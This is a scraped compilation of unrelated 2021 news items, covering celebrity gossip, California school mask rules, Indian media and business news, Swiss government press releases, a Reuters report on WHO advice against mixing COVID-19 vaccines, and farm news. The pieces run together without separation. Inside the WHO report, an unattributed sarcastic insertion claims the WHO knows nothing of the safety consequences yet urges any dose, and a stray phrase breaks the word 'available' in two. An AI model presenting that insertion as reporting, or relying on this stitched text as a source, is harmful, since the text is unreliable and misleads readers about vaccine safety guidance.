"Spears's right to select an attorney is not only a basic tenet of the Sixth Amendment right to counsel, but also consistent with principles of personal autonomy and agency. The California Superior Court must recognize Spears's autonomy and the rights of people with disabilities to live independent, self-directed lives as active members of their communities (sic)."

The brief was filed in the Superior Court of Los Angeles County in association with representatives from 25 other civil and disability organisations.

Amanda Goad, the Audrey Irmas director of the LGBTQ, Gender & Reproductive Justice Project at the ACLU SoCal, added, "Britney's superstardom and wealth make this an atypical case, but she has described serious infringements on her civil liberties and dignity that are all too typical for people living under conservatorships and guardianships."

"It's not just about Britney. We hope that offering supported decision-making to Britney Spears can serve as a model in other cases, because all people living with disabilities or under conservatorship deserve an opportunity to make their own informed choices."

The next hearing in Britney's conservatorship battle is scheduled for Wednesday (14Jul21).
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The 'Ted Lasso' actor says he will have a better understanding in a few years of why his relationship with Olivia Wilde ended while insisting he's not 'heartbroken' after the split.

Jul 14, 2021

AceShowbiz - Jason Sudeikis has opened up about his split from his ex-fiancee Olivia Wilde, confessing he'll have a better understanding of the reasons why in a few years.

The former "Saturday Night Live" star confirmed the pair "split up in November 2020" after more than seven years together. They share two kids: seven-year-old Otis and Daisy, four. Two months later, Wilde, 37, stepped out with Harry Styles, 27, who is starring in her next directing project "Don't Worry Darling".

In an interview with GQ for its August issue, the "Ted Lasso" star said he hopes the end of their relationship will make more sense to him in the future.

"I'll have a better understanding of why in a year, and an even better one in two, and an even greater one in five, and it'll go from being, you know, a book of my life to becoming a chapter to a paragraph to a line to a word to a doodle," he told the publication, adding you "either learn from or make excuses about."

He continued, "You take some responsibility for it, hold yourself accountable for what you do, but then also endeavor to learn something beyond the obvious from it."

A month after his ex Wilde and Styles showed off their new couple status, Sudeikis' rambling speech in a tie-dye hoodie at the Golden Globes' virtual ceremony, where he won on best actor in a comedy for "Ted Lasso", sparked questions over his mental state.

"I was neither high nor heartbroken," Sudeikis insisted. "So yeah, it came off like, 'This is how I feel. I believe in moving forward.' "

He further explained, "I wore that hoodie because I didn't wanna f**king wear the f**king top half of a Tom Ford suit. I love Tom Ford suits, but it felt weird as s**t."

Last month, Sudeikis unveiled his new romance with "Ted Lasso" co-star, British actress Keeley Hazell. The couple was spotted walking arm-in-arm around New York City.
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The 'Borat' actor is victorious in his legal feud with Roy Moore after the Alabama politician accused the Hollywood star of tricking him into appearing in his show 'Who Is America?'.

Jul 14, 2021

AceShowbiz - Sacha Baron Cohen has won his legal battle with Roy Moore, three years after the Alabama politician filed a $95 million (68.7 million) defamation lawsuit against the comedian.

Moore claimed he had been conned into appearing on Cohen's satirical series "Who Is America?", insisting his signature was obtained by fraudulent means.

Moore, who was hit with a series of sexual misconduct with minors allegations during his unsuccessful 2017 Senate bid, was ridiculed by the "Borat" star, in character, on the show.

A federal judge shut down the politician's lawsuit on Tuesday (13Jul21), ruling his claims are "barred by both a waiver clause in the agreement that Judge Moore signed prior to the interview and also by the First Amendment of the U.S. Constitution."

Judge John P. Cronan added, "The Court agrees that Judge Moore's claims are barred by the unambiguous contractual language, which precludes the very causes of action he now brings."

"It is simply inconceivable that the Program's audience would have found a segment with Judge Moore activating a supposed pedophile-detecting wand to be grounded in any factual basis. Given the satirical nature of that segment and the context in which it was presented, no reasonable viewer would have interpreted Cohen's conduct during the interview as asserting factual statements concerning Judge Moore."

Meanwhile, in separate news, Sacha Baron Cohen is suing a cannabis company who has allegedly used an image of his "Borat" character in an attempt to sell medical marijuana.

The actor has filed a lawsuit against Solar Therapeutics, who he claims is using Borat's face next to his famous tagline "It's nice" on an advertisement for the substance in Massachusetts.

He's denied having any involvement with the company, and doesn't even smoke marijuana - so would never align himself with an advertisement campaign for it.

Cohen is asking for more than $9 million (6.5 million) in damages, and is asking the court to block Solar Therapeutics from using his name, image and likeness.
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The 'Keeping up with the Kardashians' alum and the Blink-182 drummer are rumored to have tied the knot after her hairstylist Glen Coco shares several pictures of the couple's romantic trip to Las Vegas.

Jul 14, 2021

AceShowbiz - Kourtney Kardashian and Travis Barker have yet to tie the knot. Despite rumors that they have gotten married while taking a trip to Las Vegas, the "Keeping Up with the Kardashians" alum and the Blink-182 drummer reportedly never applied for a marriage license there.

"Kourtney and Travis never filed for a marriage license here," a source in the Marriage License Bureau in Clark County exclusively told The Sun. "They would have had to have come into this office in person- and we would have noticed them."

The speculation first emerged after Kourtney's hair stylist Glen Coco posted several pictures of her Las Vegas getaway with Travis. In the caption, Glen wrote, "NOWWW I understand why ppl tie the knot in Vegas. There's nothing like love AND a good time."

Fans have since gone wild upon seeing the post. One in particular wondered, "are they married man." Another individual added, "I hope they are married." A third, meanwhile, was assured that the pair have exchanged vows by stating, "Definitely tied the knot."

While in Las Vegas, the Poosh founder and her musician beau didn't shy away from showing off their love for one another at the UFC 264 match. While watching a match between Dustin Poirier and Conor McGregor, the lovebirds French kissed on camera.

Kourtney and Travis went public with their relationship in mid-February. Later in May, it was reported that the older sister of Kim Kardashian will accept her boyfriend's proposal once he decides to pop the big question.

"Since Kourtney's life is out in the open anyways, it is an amazing feeling for her to share a love with someone that gives it right back," a source spilled to HollywoodLife.com. "She is in it beyond with Travis and she is all in. Once he decides to propose she is absolutely looking to say yes."
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Thanking all the nurses and doctors for their care, the Lady A member informs fans that he is ready to be back on stage again with bandmates Hillary Scott and Dave Haywood.

Jul 14, 2021

AceShowbiz - Lady A star Charles Kelley is "ready to rock" after recovering from appendicitis without the need for surgery.

The country trio was forced to pull out of its first post-COVID concert at the Lakefront Music Fest in Minnesota on Saturday night, July 10 after Kelley was hospitalised with abdominal pains.

He spent the weekend under doctors' care, but on Tuesday, July 13, revealed he had been discharged and was back on his feet after resolving the issue with strong medication.

"Lil' health update: I am healthy, I am back [sic]," he declared in a video message posted to Instagram.

Expressing his gratitude to the medics, he continued, "I wanted to say thank you to all the nurses and physicians up in Minnesota, it was awesome. They actually made the call to put me on these heavy antibiotics so I didn't have to do surgery so I recovered super quickly."

In the accompanying caption, Kelley insisted he would be back onstage with his bandmates Hillary Scott and Dave Haywood as planned this weekend.

"I'm back baby and ready to rock," he wrote. "Huge thanks to all the nurses and doctors and health care workers who took such great care of me. Now...we rock. Coming for you Dallas this friday and Saturday [sic]".

He also reunited with Scott and Haywood on Tuesday to get back to business with meetings about their upcoming music plans, insisting he was feeling "amazing" and was "fired up" to perform for fans as the hitmakers documented Kelley's return on the group's Instagram Story timeline.
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The Hollywood icon's ninth husband, Prince Frederic von Anhalt, accompanied her ashes to her homeland since she made Hungary her final resting place in her will.

Jul 14, 2021

AceShowbiz - Zsa Zsa Gabor has finally been laid to rest, five years after her death.

The Hollywood icon died in 2016 at the age of 99 and this week her ninth husband, Prince Frederic von Anhalt, accompanied her ashes to Budapest after she requested in her will that Hungary would be her final resting place.

Frederic, who travelled with three quarters of his wife's ashes, said he wanted the ceremony to be "a celebration of life, not a funeral."

"She was first class, she had her own seat and she had her passport, everything there," he said of his trip with the ashes. "It was her last trip; she always used to go first class - she had her champagne, caviar."

One quarter of her ashes will remain in Los Angeles.

Frederic, 78, explained that Zsa Zsa - who was born Sari Gabor in Budapest in 1917 - wanted her remains to be brought home because that is where her father was buried.

He said, "She definitely wanted to be in Budapest because her father is buried here, too. That's what she wanted and that's what she had in her last will."

Gabor's Hungarian cousin, Jozsef Gabor, claimed to have not been invited to the celebration of life ceremony. Still, he remembered the late actress as saying, "She did a lot for Hungarians, be it for those who fled after the 1956 uprising, or during the polio epidemic, and she did not do those things because she wanted to get into the news."
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Fans on Twitter are amused by the Colonel James Rupert 'Rhodey' Rhodes depictor's hilarious reaction as one of the fans tweets to the actor, 'LOL, just give him award already.'

Jul 14, 2021

AceShowbiz - The 2021 Emmy Primetime Awards has announced its nominations and Don Cheadle was among the nominees. The actor earns a nod for Outstanding Guest Actor in a Drama category, thanks to 98-second appearance in the first episode of Disney+'s "The Falcon and the Winter Soldier" as Colonel James Rupert "Rhodey" Rhodes.

Following the announcement, many fans expressed confusion on social media. Apparently, the actor himself shared the sentiment. Poking fun at the nomination, Don, who now has collected 10 Emmy nods across his career, wrote on Twitter, "thanks, well wishers. sorry, haters. agreed, [shrug emoji] i don't really get it either. buuuuuuuuuut on we go."

Don Cheadle hilariously reacted to his Emmy nomination.

Fans were amused by his hilarious reaction. "LOL, just give him award already," someone tweeted. "this is the most amazing response to the nomination," another fan added," while someone else called his tweet "the funniest s**t."

In the less-than-3 minutes scene, Don's James was seen listening to Anthony Mackie's Sam Wilson give a speech about donating Captain America's shield to a museum. Don is up for the nomination against "The Mandalorian" stars Carl Weathers and Timothy Olyphant, "The Crown" star Charles Dance and "Lovecraft Country" actor Courtney B. Vance.

Meanwhile, "The Falcon and the Winter Soldier" itself earns five nominations, including Outstanding Sound Editing, Outstanding Special Visual Effects, Outstanding Stunt Coordination and Outstanding Stunt Performance. Don's nomination is surprisingly the only acting nom given to the show as leading stars Anthony and Sebastian Stan don't make it into the nominations.

The 73rd annual Emmy Awards will be broadcast live on September 19.
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Rumor has it, Irina's new heated fling with Kanye West is 'cooling off' as the brunette model allegedly refused to accompany the hip-hop star to a couture show in Paris.

Jul 15, 2021

AceShowbiz - Kanye West and Irina Shayk's relationship is already cooling off, according to sources.

The "Bound 2" rapper sparked romance rumours with Bradley Cooper's model ex last month (Jun21) when they were seen at a hotel in France for his 44th birthday.

And while Kanye apparently invited Irina to go to Paris for a couture show with him, she is said to have declined.

"She likes him as a friend, but doesn't want a relationship with him," a source told the New York Post's Page Six. "She doesn't want the association that they are dating, which is what would have run in the press if she showed up (in Paris with him). It would have been another month of news saying that they are dating."

"She doesn't want to be linked with anyone right now. She is happy being single."

Kanye has a history with the Russian-born beauty - she appeared in his 2010 music video for "Power" and previously modelled for his Yeezy fashion line - while the hip-hop heavyweight also gave her a shout-out in his "Christian Dior Flow" track over a decade ago.

Kanye split from wife Kim Kardashian - the mother of his four children - earlier this year, and the pair are in the midst of obtaining a divorce.

Kanye and Kim married in 2014. They began dating in 2012 while she was still legally married to Kris Humphries. Kim and Kris split only 72 days after their lavish wedding. Kim filed for divorce while Kris requested an annulment. Their divorce was eventually finalized in 2013.
SACRAMENTO, Calif. (AP)  California public health officials say they will let local school districts decide how to enforce new mask rules.

California is still requiring all students and staff to wear masks while indoors at school even if they are fully vaccinated.

The state told school districts on Monday they must send home students who refuse to wear masks and are not exempt from wearing them. Hours later, the state then changed the rules.

Students will still be required to wear masks indoors, but school districts can decide how to enforce that rule.
REDDING, Calif. - As schools prepare for a full in-person return to class, theyre also getting ready for student stress.

The Enterprise Elementary School District will increase the number of school counselors in its district to help support students.

The school district will also provide a weekly social and emotional curriculum for its students.

Josh Allen told Action News Now he wants to be in the classroom and in school.

I really enjoy being in school because I feel a lot more comfortable doing it because I get to be a lot more social, said Allen, who will be in 8th grade this fall.

I get to enjoy being with my teachers and distance learning is a lot more difficult.

Several other families tell Action News Now their kids are not anxious about being back in the classroom. But one family said they do have concerns because their son is not yet vaccinated and is a special needs student.

The school district said it prioritizes healthy and nurturing relationships between staff and students and is eager to welcome them back to school.
Ahead of the launch of one of its biggest Malayalam movies, Amazon Prime Video released a track from the much anticipated crime drama - Malik. The soothing track is composed and arranged by Sushin Shyam, lyrics by Anwar Ali and sung by K S Chithra and Sooraj Santhosh.

Malik is written, edited and directed by Mahesh Narayanan, stars superstar Fahadh Faasil in lead role along with Nimisha Sajayan, Vinay Forrt, Joju George and Dileesh Pothan in pivotal roles.

GAMEXX Awards 2021 Early Bird Discount Extended Last Date - Wednesday, June 30, 2021 - ENTER NOW

The narrative of the film journeys through the life of Sulaiman Malik, a leader who will go an extra mile to help the people of his community, provide support and stand up against the corrupt forces. The film is eagerly awaited by all the Fahadh fans who are looking forward to seeing him sport multiple looks in Malik.

Malik will premiere exclusively and globally on Amazon Prime Video on the 15th of July.
Patanjali Ayurveda has appointed industry veteran Anita Nayyar as Chief Operating Officer-Media & Communications.

Before joining Patanjali Ayurveda, she was associated with Zee's OTT Platform ZEE5 India as the Head of Customer Strategy and Relationships for almost a year.

GAMEXX Awards 2021 Early Bird Discount Extended Last Date - Wednesday, June 30, 2021 - ENTER NOW

Prior to this, Nayyar was working with Havas Media Group as CEO- India and Southeast Asia. She had joined the company in 2007 as CEO for India and South Asia and was associated with Havas for 13 years.

She has played leadership roles in advertising & media agencies  Ogilvy, Lintas-Initiative Media, Mediacom, Mudra, Starcom and grown them by giving shape to business, revenue streams and launching diversified disciplines.

Nayyar has been a judge at Media Jury, Cannes. She has also been Jury & Chair for many prestigious international industry awards and has chaired the D&AD media awards in London.
Digital Refresh Networks an integrated creative and digital marketing solutions company with its centres across Mumbai, Indore, Bangalore and Kolkata, proudly bags the digital mandate for some of the leading brands based in Bangalore. Mia by Tanishq, Motherhood IVF and iKounsellor are accounts recently added to Digital Refresh Networks portfolio.

As a part of the mandate, the agency will be in charge of delivering SEO management, Content, Social Media and Performance Marketing for the brands. The role would be to enhance the brand awareness and eventually the brands overall growth and revenue. The team of experts at Digital Refresh Networks have been successfully working with some of the renowned brands from the healthcare, technology, lifestyle, consumer and education industry, to name a few. With their overall experience in the domain of digital marketing, the agency is confident to deliver a well strategized plan for the brands won.

GAMEXX Awards 2021 Early Bird Discount Extended Last Date - Wednesday, June 30, 2021 - ENTER NOW

Speaking on the win, Mr. Barin Mukherjee, Co-Founder, CEO, Digital Refresh Networks said, We are overwhelmed with our recent victory and are proud to add multiple leading brands to our portfolio. With our expertise in the digital marketing domain, we aim to propose a holistic solution in order to elevate the reach and engagement of the brands. The agency does look forward to have a long-term collaboration with our existing accounts, acquire additional businesses and build Bangalore as one of the promising centres for DRN going forward
The glass industry in India is quite old and well established, with the first glass plant set up in 1908. The glass industry is divided into different segments such as Container Glass, Specialty Glass, Flat Glass, Fibre Glass, Automotive Glass. According to Mordor Intelligence, the Indian flat glass market was valued at over $2 billion in 2020 and the market is projected to register a CAGR of more than 4% during the 2021-2026 period. Flat glass is a type of glass, initially produced in plane form, commonly used for windows, glass doors, transparent walls, and windscreens, the Mordor Intelligence report explains. For modern architectural and automotive applications, the flat glass is sometimes bent after the production of the plane sheet.

GAMEXX Awards 2021 Early Bird Discount Extended Last Date - Wednesday, June 30, 2021 - ENTER NOW

Today, glass has become a great enabler, especially in the construction sector, enhancing the beauty of houses, commercial complexes and shopping malls. Especially in commercial construction, glass is replacing the brick-and-mortar walls with transparent glass facades that allow in maximum daylight indoors while restricting UV radiation and solar heat to a great extent. Today, technologically advanced glass products are available to keep indoors cool and save electricity and power. There is continuous R&D and innovation happening in this sector to bring in new products with advanced features.

Changing trends in glass in the pandemic times

Several changes have taken place in the pandemic era  entire work forces have shifted to working from home, and many companies are shifting to shared workspaces. While people have got used to working from the comfort of their homes, there is a greater need to have spaces that enable acoustic solutions, privacy and at the same time have big openings or windows that allow people to stay connected with the outside world, while staying safe inside.

New trends and innovation

Over time, the expectations from glass have only grown. From a pure functional and decorative usage, architects, interior designers, builders and consumers are looking for energy efficient glass that also offers acoustic and anti-pollution solutions. Glass is also now being used for facades on an unprecedented scale to create remarkable designs and yield eco-savings. Use of glass in facades gives a dramatic effect and elegant appearance to the tall buildings.

The latest trend is that of smart glass, which turns translucent from transparent at the touch of a button. It is an excellent replacement for curtains and blinds at stores, pubs, bars, clubs, hospitals, salons, spas, business centres, and conference rooms. AIS Glass is offering such a product under the brand name AIS Swytchglas.

Purchase Behaviour and Brand Promotion

Being a low involvement category, the end customer is not so aware about the choice of brands or the type of glass, with most trusting their interior decorator or architect. Also, most of the consumers depend on the carpenters for small requirements and replacements. In the case of housing construction and large turnkey projects, it is the architect and project consultants who are key decision makers. The category also depends a lot on its strong dealer network at the retail level, but it is mostly the architect and interior decorators and designer who are the key influencers in deciding a particular brand.

While advertisements create some brand visibility and awareness, but since architects and interior decorators are the key influencers, the communication is more one-on-one through and through meetings and seminars. Sampling and cataloguing are an important tool for promotion to build engagement with the audience and hence, a lot of emphasis is given to this to stay connected and engage with architects and project consultants.

Commenting on how glass as a category has evolved, Shailesh Ranjan, Head - Business Planning & Operations  Architectural Institutional Business, Asahi India Glass Ltd, said, Glass has come a long way from being a low involvement product to an era when most people are inclined towards using it for their home and office decor. However, many people are still unaware of the various solutions that glass can provide  be it safety and security, energy efficiency, acoustics, anti-pollution, etc.

"Glass has come a long way from being a low involvement product to an era when most people are inclined towards using it for their home and office decor. However, many people are still unaware of the various solutions that glass can provide  be it safety and security, energy efficiency, acoustics, anti-pollution, etc"

Continuing further, he said, AIS has pioneered innovations in glass processing technology to develop both single-glazed and double-glazed products with the best green parameters by continuously studying Indian climatic conditions and developing new products. This is giving developers and architects a greater choice and the ability to explore more possibilities with AIS glass. Though there is a huge potential in the market for growth, the industry still faces challenges, such as low awareness levels among stakeholders, especially in the Tier 2 and Tier 3 cities about selection of the right glass product, codes and guidelines formulated by government bodies like NBC and ECBC, etc.

Amid evolving consumer aspirational needs, value-added glass is fast picking up demand and gaining popularity in residential buildings, too, apart from the retail and commercial spaces. The ongoing shift towards Green Buildings is expected to give a further boost to demand for high performance glass, opening up a huge opportunity for expansion in the architectural segment in the future.

Anand Santhanam, National Head - Sales & Marketing, Saint-Gobain India - Glass Business, noted, Today, glass can be classified based on appearance, and can be utilised as per need  clear, tinted, reflective, textured, stained, frosted, toughened, laminated, fire-safe, vandal-proof among others. It could be scorching hot outside and you wouldnt even know, all thanks to the solar control glass that is designed to keep your home cool. With the advent of lacquered glass, living space can now have more added colour. The versatility of glass is that it can be used anywhere  wall and pillar claddings, doors, kitchen and wardrobe shutters, splashbacks, table tops, counter tops, etc. Glass, being environment friendly, is going to be the ubiquitous material of the future, be it for B2B or B2C. I think the differentiation here is the versatility in the product offering and its application possibilities that a brand offers to match with the evolving needs of the customers, and we at Saint-Gobain are already doing that.

"The versatility of glass is that it can be used anywhere  wall and pillar claddings, doors, kitchen and wardrobe shutters, splashbacks, table tops, counter tops, etc. Glass, being environment friendly, is going to be the ubiquitous material of the future, be it for B2B or B2C"

According to Santhanam, the biggest challenge today is the lack of awareness on the usage of glass. He added, We at Saint-Gobain are addressing this challenge by showcasing the many applications possible in glass through our digital assets  our website and social media handles. Going forward, for a generation that has an ever-evolving interest in technology and a curiosity for new trends, continual innovation is the best way to reach out to them. And for glass that has been constantly reinvented to suit every evolving need, we have examples of LED mirrors, embedded with the latest in LED technology. These mirrors combine clarity and illumination to take lifestyles to a whole new level. Imagine an electronically tintable glass for windows, skylights and curtain walls! It tints automatically or on demand to control sunlight and reduce energy consumption. This is the innovation of today. The modern-day privacy glass is one that lets you switch from transparent to opaque mode or vice-versa. Glass has seen many levels of innovation over the years. And perhaps, it would not be wrong to say that the evolution of glass has just started.

(Edited and Additional inputs by Shanta Saikia.)
Viacom18 has been at the forefront in addressing and curbing piracy of content. In a recent content violation issue, the network has filed an official complaint with Maharashtra Cyber against Thop TV, alleging that the rogue, standalone application had been relaying and transmitting the networks content without authorization at a discounted price to common public, thus causing a substantial revenue loss to the network.

Cognizant about the seriousness of the crime, the research and analysis team of Maharashtra Cyber immediately investigated the matter and the accused, a 28- year old, Satish Venkateshwarlu, a Hyderabad-based IT engineer was arrested under Sections 43, 66 and 66B of the Information Technology Act, 2000, Section 63 of Copyright Act, and Section 420 and 34 of the Indian Penal Code (IPC). The accused was produced before the Honble Court and has been remanded to 6 days of police custody for further investigations. The accused was found to have created a standalone pirated application, through which he stole content using its inbuilt API.

Speaking on the investigation, Superintendent of Police Sanjay Shintre, said, Viacom18 Media Private Limited lodged a complaint with the Maharashtra Cyber against a mobile application, Thop TV, which was relaying and transmitting their copyrighted content such as movies, TV shows and VOD content at a discounted rate, thus causing substantial revenue loss to the company. After the initial technical investigation, it was noticed that the accused, a highly educated IT engineer from Hyderabad developed a mobile application named Thop TV and pirated Viacom18s content through Telegram, a social media intermediary. The app has lakhs of viewers, including 5,000 paid subscribers, thereby generating massive revenue for the app.

Speaking on this development, a Viacom18 Spokesperson said, Piracy is a matter of grave concern for the media industry and one that needs to be addressed constantly. It is important to acknowledge that digital piracy is a serious offence which causes huge losses to the digital economy. Viacom18 will continue to fight this menace and secure its content through all means available under law. We are grateful to Office of the Inspector General of Police Maharashtra Cyber for their constant vigilance and timely support towards curbing piracy and copyright violation."

The entire operation was carried under the strict guidance of (Special Inspector General of Police) Shri. Yashashvi Yadav, (Deputy Inspector General of Police) Shri. Harish Baijal, (Superintendent of Police) Shri Sanjay Shintre, (Deputy superintendent of Police) Shri Vijay Khaire, (Police Inspector) Smt Archana Sutar, (Sub-Inspector) Shri Sandeep Patil, (Sub-Inspector) Shri Ravikant Bhandari, (Head Constable )Santosh Bodke, (Police Constable) Avinash Salunkhe all from the Nodal Cyber Police Station, Maharashtra Cyber, Mumbai.
VingaJoy , the Lifestyle consumer electronics products manufacturer announces their association with actor and leading fashionista, Jacqueline Fernandez today. The collaboration is aimed at creating increased brand awareness with respect to the young consumer base. With the tagline Be Loud, Be Proud, the brand is focused towards being the first choice of millennials and offers products such as earphones, headphones, speakers, travel chargers and premium rugged cables that seamlessly integrate into the youths style statement.

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In line with the spirit of the brand, Jacqueline Fernandez was a unanimous choiceas she represents the energy of the youth. Being a new-age actor, she is an embodiment of the choice and preference of the young crowd specifically in the consumer centric domain. Apart from this, she is also an entrepreneur and runs a famous restaurant called Kaema Sutra in Colombo, which further establishes her connect with the modern youth.

Expressing his pleasure to collaborate with Jacqueline, VingaJoys Co-Founder Lalit Arora said, Jacqueline Fernandezis the perfect face for our brand. She is dynamic, young, and stylish, and a person who has left her own mark in the industry, making her the perfect expression of VingaJoy. We are delighted to invite Jacqueline Fernandez to join our crew and take our brand's style quotient to a whole new level. We welcome her to the VingaJoy family and are confident she will inspire our consumers to feel proud to be associated with a brand like ours.

Jacqueline Fernandez also expressed her thoughts on the association,I am extremely thrilled to be the face of VingaJoy and participate in the brands incredible journey of success and innovation. Known as the millennial audio brand, VingaJoy offers seamless tech quality and modern design in all its products. The company's innovative approach to offer consumer focussed solutions is what attracted me towards it. I am hopeful that this association will ensure higher brand recall, and eventually create a larger customer base for VingaJoy.
Federal Department of Foreign Affairs

Bern, 13.07.2021 - The 47th session of the Human Rights Council (HRC) ended today. From 21 June to 13 July, Geneva was the virtual setting for the HRC's intensive work. Special attention was paid to women's rights and gender equality, with a focus on combating violence against women and girls.

The HRC's summer session traditionally focuses on women's rights. Switzerland was particularly active in this area, supporting the resolution on eliminating violence against women and girls with disabilities. Switzerland also contributed to the discussions on gender equal recovery from COVID-19 and on preventing female genital mutilation. It also joined a group of States supporting the fight against violence and discrimination based on sexual orientation and gender identity.

During the annual dialogue with the High Commissioner for Human Rights, Michelle Bachelet, Switzerland notably expressed its concern about the growing restrictions worldwide on the rights to freedom of expression, of association and of peaceful assembly. Switzerland denounced the arrests of journalists, the criminalisation of civil society organisations and the excessive use of force during protests.

For the tenth anniversary of the UN Guiding Principles on Business and Human Rights, Switzerland commented on the progress made in in their implementation, particularly the development, together with the private sector, of practical guides for companies . Switzerland called for renewed efforts in this area and for States and companies to cooperate more closely in order to better recognise and protect human rights.

Switzerland also devoted particular attention to the discussions on the human rights situations in various countries. With regard to Belarus for example, Switzerland supported a resolution renewing the mandate of the Special Rapporteur and calling on the authorities to immediately and unconditionally release all persons detained arbitrarily, including journalists and human rights defenders. Switzerland also endorsed the new resolution on the situation in Tigray (Ethiopia), as well as other resolutions (Eritrea, Syria, Ukraine).

Alongside some 40 States, Switzerland supported a joint statement initiated by Canada that calls on the Chinese authorities to respect their human rights obligations in the Xinjiang Uyghur Autonomous Region, in Hong Kong and in Tibet. Switzerland also endorsed other joint statements on the human rights situations in Belarus, Iraq, Nicaragua and Venezuela.

Together with other States and civil society organisations, Switzerland facilitated the organisation of several side events during the session. First, an event on human rights in the digital age, organised by Switzerland and Liechtenstein, highlighted the need for increased cooperation between States, social media and tech companies, and civil society to develop responses tailored to today's challenges. Switzerland also co-organised an event underscoring the importance of strengthening the UN human rights system to prevent arbitrary detention arising from drug policies. Finally, Switzerland and its partners organised an event to discuss the excessive use of force during protests in the context of the COVID-19 pandemic.

Address for enquiries

FDFA Communication

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CH-3003 Bern, Switzerland

Tel. Communication service: +41 58 462 31 53

Tel. Press service: +41 58 460 55 55

E-mail: kommunikation@eda.admin.ch

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State Secretariat for Education, Research and Innovation

Bern, 14.07.2021 - Switzerland will be treated as a non-associated third country in the EU Framework Programme for Research and Innovation, Horizon Europe, until further notice. Researchers in Switzerland can still participate in calls for proposals under the status, albeit to a limited extent, and receive funding directly from the Confederation. However, participation in individual projects, in particular in future calls for proposals from the European Research Council, Marie Skodowska-Curie Actions and the European Innovation Council, is no longer possible. The Federal Councils stated aim remains Switzerlands full association to Horizon Europe.

The EU Framework Programme for Research and Innovation, Horizon Europe, provides for two modes of participation for non-EU member states: as associated third countries or non-associated third countries. The European Commission informed the State Secretariat for Education, Research and Innovation SERI on 12 July that Switzerland is to have the status of a non-associated third country for all calls for proposals in 2021.

Even as a non-associated third country, researchers in Switzerland can still participate in Horizon Europe and its related programmes and initiatives and apply for the programme components and funding instruments open to them. However, they do not generally receive funding for their project costs from the European Commission. Wherever participation is possible, funding is provided by the State Secretariat for Education, Research and Innovation SERI. Parliament has already approved CHF 6.15 billion in funding for Swiss participation in the Horizon package, as well as the possibility of direct funding for researchers in Switzerland.

Researchers in Switzerland are currently excluded from participating in individual projects (European Research Council, Marie Skodowska-Curie Actions and European Innovation Council). Exceptions apply to calls for ERC Starting Grants and ERC Consolidator Grants that have already closed. The European Commission will complete the evaluation of project submissions from researchers at Swiss host institutions based the portability of these grants. If the Commission assesses these grants favourably, SERI will offer to fund researchers in Switzerland directly.

For all calls in 2021 for which researchers and innovators from Switzerland have no possibilities to make submissions or evaluations, SERI is preparing proposals for suitable transitional measures as part of the federal credit and budget process. If necessary, the Federal Council will also consider long-term replacement measures in due course.

The Federal Council continues to seek association to the programme; however, negotiations between Switzerland and the European Union in this regard are not currently under way. With regard to a future association of Switzerland to Horizon Europe, the Commission names as a condition the payment of the second enlargement contribution and the conclusion of a so-called Specific Agreement, which regulates Switzerland's participation in EU programmes and is already mentioned in Switzerland's negotiation mandate. In addition, the Commission places the start of negotiations in the context of overall relations between Switzerland and the EU.

Horizon Europe

The EU Framework Programme for Research and Innovation, Horizon Europe, runs from 2021 to 2027. With an overall budget of EUR 95 billion, it is the largest research and innovation funding programme in the world. Together with the temporary economic stimulus package NextGenerationEU, it aims to promote the green and digital transformation across Europe. Switzerland was fully associated to the predecessor programme Horizon 2020 and is seeking the same status for Horizon Europe and its related programmes and activities (Euratom programme, ITER and Digital Europe Programme).

Address for enquiries

State Secretariat for Education, Research and Innovation SERI

Communication

medien@sbfi.admin.ch

+41 58 485 67 74

Publisher

State Secretariat for Education, Research and Innovation

http://www.sbfi.admin.ch




"A little bit of a dangerous trend." WHOSpeak for "We' have no idea the health and safety consequences, but we are not allowed to alarm anyone from continuing to get a dose, any dose, for God's sake please take your dose."

GENEVA (Reuters) - The World Health Organizations chief scientist on Monday advised against people mixing and matching COVID-19 vaccines from different manufacturers, calling it a dangerous trend since more data is needed about the health impact.

Its a little bit of a dangerous trend here, Soumya Swaminathan told an online briefing. It will be a chaotic situation in countries if citizens start deciding when and who will be taking a second, a third and a fourth dose.

Swaminathan called mixing a data-free zone on Monday but the WHO clarified on Tuesday that some data was av

Bad, bad superbad combos

ailable and more was expected.

Its Strategic Advisory Group of Experts on vaccines in June said the Pfizer vaccine could be used as a second dose after an initial dose of AstraZeneca, if the latter is not available.

The results of a further clinical trial led by the University of Oxford that will look at mixing AstraZeneca and Pfizer as well as Moderna and Novovax vaccines is underway.

Data from mix and match studies of different vaccines are awaited - immunogenicity and safety both need to be evaluated, the WHO said in emailed comments.

It should be public health agencies who make decisions, based on available data, and not individuals, the WHO added.

Reporting by Emma Farge and John Revill; Editing by Hugh Lawson and Raissa Kasolowsky
A Kansas State University research team led by Krishna Jagadish, fourth from right, is using climate-controlled tents to study the effect of warmer nighttime temperatures on corn, wheat and other crops.
FERGUS FALLS, Minn.  Reading the weather outside is sometimes more accurate than reading the forecast.

After many years of farming, Paul Freeman had a pretty good idea the forecast wasnt right on the day he needed to spray.

The internet said 90 percent chance of rain, so I said, That great of a chance of rain  it wont rain, and I went out and sprayed, he said.

Radar was a little more accurate. The green for rain was splitting around Pauls area and going north and south.

So, he completed his spraying successfully.

There may need to be some more weed control, though  because of the drought.

The drought-stressed lambsquarters and ragweed looked sick before they were sprayed. These tough weeds didnt take up the herbicide, so there was some escape.

Im debating if its worth taking a cultivator out there or not, he said. I have to balance that with the increased moisture loss if I stir it up.

In this case, hell wait and see if it does rain. A little less than half an inch of rain fell on the morning of July 6, with more rain in the forecast.

Paul talked with his Centrol agronomist, Brent Werven, on the morning of July 5.

There was good news despite the drought.

The agronomist pulled soil samples the last week of June and found moisture six inches down. Some farmers have found corn roots as deep as the plants were tall. On average, the roots were about two feet deep ahead of pollination.

It is amazing, Paul added, to think that the number of corn rows around the ear has already been determined. The length of the ear will depend on pollination, as well as the energy and water available to the plant after tasseling.
Ag economists continue to watch the trends in cow slaughter and what it could mean for markets. David Anderson, professor and Extension economist for Texas A&M AgriLife Extension, wrote in his In the Cattle Markets column for the Livestock Marketing Information Center that the industry continues to see large cattle slaughter numbers. However, prices have still managed to run ahead of the year before.

The beef cow slaughter numbers are at levels not seen in over a decade.

Over the last three months, beef cow slaughter totaled 818,000 head, the most since the 837,000 during the same period in 2010, Anderson said. Total cow slaughter over the same period are the largest since 2013. At that time, the industry was reducing the number of beef cows, due mostly to low prices, and then the drought in Texas and the Southwest hit.

Looking at the situation regionally, many southern and western states have seen increased cow slaughter and culling due to drought conditions.

